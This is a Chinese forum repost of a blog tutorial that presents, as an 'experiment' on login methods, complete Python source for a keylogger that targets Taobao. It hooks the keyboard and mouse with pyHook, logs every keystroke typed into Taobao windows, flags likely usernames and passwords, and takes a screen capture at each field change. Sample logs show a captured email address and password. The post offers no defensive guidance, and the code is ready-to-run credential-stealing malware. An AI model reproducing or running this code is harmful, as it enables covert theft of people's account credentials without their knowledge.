设为首页 收藏本站
查看: 2353|回复: 0

[经验分享] Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性(二)

[复制链接]

尚未签到

发表于 2017-5-9 07:12:42 | 显示全部楼层 |阅读模式
  在上一篇文章《Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性》中,通过日志记录了一些可能是用户输入的用户名或密码等信息,但如果用户在网站上输入的是其他信息,我们从中区分出敏感信息还是要花费时间来分析的,刚才想了想,将功能优化了一下。
  一、思路:
  1、在抓取到用户输入的信息后,除了记录到日志中外,再给当前屏幕截一张图,以日期命名;
  2、通过对于图片名与日志中ERROR级别对应的时间点,就可以判断内容是不是敏感信息;
  3、之所以采用抓图和日志结合的方法,是因为密码在界面上不会显示出来,图片中看不到,必须结合日志,呵呵。
  

  二、实现:
#!/usr/bin/env python# -*- coding: utf-8 -*-import pythoncomimport pyHookimport timeimport loggingimport logging.configfrom PIL import ImageGrab#日志配置文件名LOG_FILENAME = 'hook_logging.conf'#日志语句提示信息LOG_CONTENT_NAME = 'taobao_input_msg'def log_init(log_config_filename, logname):'''Function:日志模块初始化函数Input:log_config_filename:日志配置文件名lognmae:每条日志前的提示语句Output: loggerauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-02-13'''logging.config.fileConfig(log_config_filename)logger = logging.getLogger(logname)return loggerdef onMouseEvent(event):'''Function:处理鼠标左键单击事件,如果当前MSG中存放了信息,将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯,所以此处要判断是否通过鼠标切换了输入窗口Input:evenOutput: Tureauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''global MSGif len(MSG) != 0:hook_logger.info('current page:%s' % event.WindowName)hook_logger.error('information:%s' % MSG)MSG = '' #屏幕抓图实现pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))pic = ImageGrab.grab()pic.save('%s.png' % pic_name)#保存成为以日期命名的图片return Truedef onKeyboardEvent(event): "处理键盘事件"  '''Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来结束输入,此时要将信息记录到日志中。Input:evenOutput: Tureauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''     global MSGif event.WindowName.decode('GBK').find(u"淘宝") != -1:if (127 >= event.Ascii > 31) or (event.Ascii == 8):MSG += chr(event.Ascii)hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))        if (event.Ascii == 9) or (event.Ascii == 13):hook_logger.info('current page:%s' % event.WindowName)hook_logger.error('information:%s' % MSG)MSG = '' #屏幕抓图实现pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))pic = ImageGrab.grab()#保存成为以日期命名的图片pic.save('%s.png' % pic_name)return Trueif __name__ == "__main__": '''Function:获取TAOBAO账号及密码,增加抓图功能Input:NONEOutput: NONEauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''  #打开日志文件#初始化日志系统hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) MSG = ''       #创建hook句柄hm = pyHook.HookManager()#监控鼠标hm.SubscribeMouseLeftDown(onMouseEvent)hm.HookMouse()#监控键盘hm.KeyDown = onKeyboardEventhm.HookKeyboard()#循环获取消息pythoncom.PumpMessages()
三、测试:  1、记录下来的日志内容:
[2012-03-03 13:03:52,530  taobao_input_msg]INFO:  ascii:105(I)[2012-03-03 13:03:53,342  taobao_input_msg]INFO:  ascii:112(P)[2012-03-03 13:03:53,640  taobao_input_msg]INFO:  ascii:104(H)[2012-03-03 13:03:54,608  taobao_input_msg]INFO:  ascii:111(O)[2012-03-03 13:04:01,655  taobao_input_msg]INFO:  ascii:110(N)[2012-03-03 13:04:01,921  taobao_input_msg]INFO:  ascii:101(E)[2012-03-03 13:04:03,937  taobao_input_msg]INFO:  ascii:52(4)[2012-03-03 13:04:04,358  taobao_input_msg]INFO:  ascii:115(S)[2012-03-03 13:04:08,640  taobao_input_msg]INFO:  current page:淘宝网 - 淘!我喜欢 - Google Chrome[2012-03-03 13:04:08,640  taobao_input_msg]ERROR:  information:iphone4s[2012-03-03 13:04:27,187  taobao_input_msg]INFO:  ascii:115(S)[2012-03-03 13:04:27,655  taobao_input_msg]INFO:  ascii:111(O)[2012-03-03 13:04:28,217  taobao_input_msg]INFO:  ascii:99(C)[2012-03-03 13:04:28,921  taobao_input_msg]INFO:  ascii:114(R)[2012-03-03 13:04:29,155  taobao_input_msg]INFO:  ascii:97(A)[2012-03-03 13:04:29,733  taobao_input_msg]INFO:  ascii:116(T)[2012-03-03 13:04:29,983  taobao_input_msg]INFO:  ascii:101(E)[2012-03-03 13:04:30,280  taobao_input_msg]INFO:  ascii:115(S)[2012-03-03 13:04:31,828  taobao_input_msg]INFO:  ascii:64(2)[2012-03-03 13:04:33,515  taobao_input_msg]INFO:  ascii:103(G)[2012-03-03 13:04:34,187  taobao_input_msg]INFO:  ascii:109(M)[2012-03-03 13:04:34,265  taobao_input_msg]INFO:  ascii:97(A)[2012-03-03 13:04:34,421  taobao_input_msg]INFO:  ascii:105(I)[2012-03-03 13:04:34,592  taobao_input_msg]INFO:  ascii:108(L)[2012-03-03 13:04:35,030  taobao_input_msg]INFO:  ascii:46(Oem_Period)[2012-03-03 13:04:35,217  taobao_input_msg]INFO:  ascii:99(C)[2012-03-03 13:04:35,342  taobao_input_msg]INFO:  ascii:111(O)[2012-03-03 13:04:35,515  taobao_input_msg]INFO:  ascii:109(M)[2012-03-03 13:04:37,812  taobao_input_msg]INFO:  current page:None[2012-03-03 13:04:37,812  taobao_input_msg]ERROR:  information:socrates@gmail.com[2012-03-03 13:04:43,905  taobao_input_msg]INFO:  ascii:57(9)[2012-03-03 13:04:44,171  taobao_input_msg]INFO:  ascii:56(8)[2012-03-03 13:04:44,467  taobao_input_msg]INFO:  ascii:55(7)[2012-03-03 13:04:44,780  taobao_input_msg]INFO:  ascii:54(6)[2012-03-03 13:04:45,108  taobao_input_msg]INFO:  ascii:53(5)[2012-03-03 13:04:45,437  taobao_input_msg]INFO:  ascii:52(4)[2012-03-03 13:04:45,796  taobao_input_msg]INFO:  ascii:51(3)[2012-03-03 13:04:46,437  taobao_input_msg]INFO:  ascii:50(2)[2012-03-03 13:04:47,046  taobao_input_msg]INFO:  ascii:49(1)[2012-03-03 13:04:52,375  taobao_input_msg]INFO:  ascii:113(Q)[2012-03-03 13:04:52,765  taobao_input_msg]INFO:  ascii:119(W)[2012-03-03 13:04:53,030  taobao_input_msg]INFO:  ascii:101(E)[2012-03-03 13:04:53,328  taobao_input_msg]INFO:  ascii:114(R)[2012-03-03 13:04:53,687  taobao_input_msg]INFO:  ascii:116(T)[2012-03-03 13:04:56,640  taobao_input_msg]INFO:  current page:None[2012-03-03 13:04:56,640  taobao_input_msg]ERROR:  information:987654321qwert[2012-03-03 13:04:57,703  taobao_input_msg]INFO:  ascii:106(J)[2012-03-03 13:04:58,155  taobao_input_msg]INFO:  ascii:116(T)[2012-03-03 13:04:59,125  taobao_input_msg]INFO:  ascii:54(6)[2012-03-03 13:05:00,328  taobao_input_msg]INFO:  ascii:121(Y)[2012-03-03 13:05:02,578  taobao_input_msg]INFO:  current page:None[2012-03-03 13:05:02,578  taobao_input_msg]ERROR:  information:jt6y
2、过滤出ERROR级别日志信息,如下:[2012-03-03 13:04:08,640  taobao_input_msg]ERROR:  information:iphone4s[2012-03-03 13:04:37,812  taobao_input_msg]ERROR:  information:socrates@gmail.com[2012-03-03 13:04:56,640  taobao_input_msg]ERROR:  information:987654321qwert[2012-03-03 13:05:02,578  taobao_input_msg]ERROR:  information:jt6y
3、查看生成的图片:
DSC0000.gif

  可以看出,图片名称中的时间和日志中的时间一一对应,这样就可查看每条日志打印时当前屏幕的状态。
  具体看一下每条日志对应的图片:
  a.[2012-03-03 13:04:08,640 taobao_input_msg]ERROR: information:iphone4s
DSC0001.gif

  

  b.[2012-03-03 13:04:37,812 taobao_input_msg]ERROR: information:socrates@gmail.com
DSC0002.gif

  c.[2012-03-03 13:04:56,640 taobao_input_msg]ERROR: information:987654321qwert (原来这行才是密码)
DSC0003.gif

  d [2012-03-03 13:05:02,578 taobao_input_msg]ERROR: information:jt6y

DSC0004.gif

  

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-374806-1-1.html 上篇帖子: Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性 下篇帖子: C#下的webservcie 实现代码和 在vc和python下的调用实现(原创)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表